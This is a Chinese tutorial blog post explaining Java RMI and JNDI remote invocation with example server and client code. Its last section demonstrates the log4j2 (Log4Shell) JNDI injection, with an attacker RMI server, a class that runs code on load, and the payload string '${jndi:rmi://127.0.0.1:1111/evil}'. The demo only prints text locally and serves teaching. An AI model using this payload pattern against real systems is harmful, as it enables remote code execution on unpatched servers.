栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Java远程调用RMI

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Java远程调用RMI

JNDI与RMI使得Java实现了跨JVM的方法远程调用,即服务A可以远程调用服务B的方法。

我们一一个服务A,调用远程的另外一个服务为例,具体操作有以下两种:

  • 代码在B执行
  • 代码在A执行(详见log4j2漏洞)
一、原理


RMI过程大体如下:
  1.客户端从RMI注册表中查询并获取远程对应引用。客户端首先会与Stub进行交互,stub将远程方法所需的参数进行序列化后,传递给远程应用层RRL
  2.stub和远程对象具有相同的接口和方法列表,当客户端调用远程对象时,实际是有stub对象代理的。RRL将stub本地引用转换为服务端上对象的远程引用后,再将调用传递给传输层,传输层执行TCP发送
  3.RMI服务端传输层监听到请求后,将引用转发给服务端的RRL。
  4.服务端RRL将客户端发送的远程应用转换为本地虚拟机引用后,传递给Skeleton。
  5.Skeleton读取参数,最后由服务端进行实际方法调用。
  6.如果RMI客户端调用存在返回值,则以此向下传递。
  7.客户端接收到返回值后,再以此向上传递。然后由stub反序列化返回值,最终传递给RMI客户端

二、实现

具体实现逻辑如下:

  • 定义一个接口,具体的实现由B完成

  • A远程调用该接口的invoke方法,且在B端执行代码

public interface RemoteObj extends Remote {

    //注意用于远程调用的接口必须抛出RemoteException异常
    void invoke() throws RemoteException;
}


1、服务端B:

//必须继承UnicastRemoteObject类
public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {

    protected RemoteObjImpl() throws RemoteException {
    }

    @Override
    public void invoke() throws RemoteException {
        System.out.println("B的代码被执行...");
    }
}
public class B {
    public static void main(String[] args) throws RemoteException {
        Registry registry = LocateRegistry.createRegistry(1111);
        RemoteObj obj = new RemoteObjImpl();
        registry.rebind("obj", obj);
        System.out.println("RMI服务端已启动...");
    }
}

2、客户端A:

public class A {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1111);
        RemoteObj obj = (RemoteObj) registry.lookup("obj");
        obj.invoke();
        System.out.println("A远程调用了B");
    }
}

3、先运行B,再运行A,结果如下:

三、拓展

也可以通过Naming实现:

public class B {
    public static void main(String[] args) throws Exception{
        //注册rmi端口
        LocateRegistry.createRegistry(1111);
        //绑定对象
        RemoteObj obj = new RemoteObjImpl();
        Naming.bind("rmi://127.0.0.1:1111/obj", obj);
    }
}

public class A {
    public static void main(String[] args) throws Exception {
        RemoteObj obj = (RemoteObj) Naming.lookup("rmi://127.0.0.1:1111/obj");
        obj.invoke();
    }
}

我们看下Naming的bind、lookup方法源码:

public final class Naming {

	//客户端查找
    public static Remote lookup(String name)
        throws NotBoundException,
            java.net.MalformedURLException,
            RemoteException
    {
        ParsedNamingURL parsed = parseURL(name);
        Registry registry = getRegistry(parsed);

        if (parsed.name == null)
            return registry;
        return registry.lookup(parsed.name);
    }
    
	//服务端注册
    public static void bind(String name, Remote obj)
        throws AlreadyBoundException,
            java.net.MalformedURLException,
            RemoteException
    {
        ParsedNamingURL parsed = parseURL(name);
        Registry registry = getRegistry(parsed);

        if (obj == null)
            throw new NullPointerException("cannot bind to null");

        registry.bind(parsed.name, obj);
    }


}

四、客户端使用JNDI来远程调用

JNDI(JAVA Naming And Directory Interface)是Java命名和目录接口,应用程序可以通过JNDI API去调用其他资源,包括JDBC、LDAP、RMI、DNS、NIS、windows注册表等等。JNDI将不同的资源进行统一封装,形成一套API,通过这套API,应用程序可以不用关心需要交互的资源细节,方便快捷的与资源进行交互,从而降低开发难度,提高开发效率。

JNDI客户端:

public class A {
    public static void main(String[] args) throws Exception {
        Properties properties = new Properties();
        properties.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        properties.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1111");
        Context ctx = new InitialContext(properties);
        RemoteObj obj = (RemoteObj) ctx.lookup("rmi://127.0.0.1:1111/obj");
        obj.invoke();
    }
}
五、log4j2漏洞

我们结合最近的log4j2漏洞,可以实现远程拉取代码,到本地执行:

1、黑客编写代码:

public class RmiServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1111);
        Reference reference = new Reference("com.test.EvilObj", "com.test.EvilObj", null);
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.rebind("evil", wrapper);
        System.out.println("RMI服务已经启动....");
    }

}

有害代码类:

public class EvilObj implements ObjectFactory {


    static {
        System.out.println("一段代码执行了...");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        System.out.println("工厂方法被调用");
        return new EvilObj();
    }
}

public class EvilObj {

    static {
        System.out.println("一段代码执行了...");
    }
}

2、通过log4j2漏洞攻击

public class Main {
    private static final Logger logger = LoggerFactory.getLogger(Main.class);

    public static void main(String[] args) {
        String username = "${jndi:rmi://127.0.0.1:1111/evil}";
        logger.info("username is:{}", username);
    }
}

参考:https://www.cnblogs.com/tridentj/p/15273260.html

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/659139.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号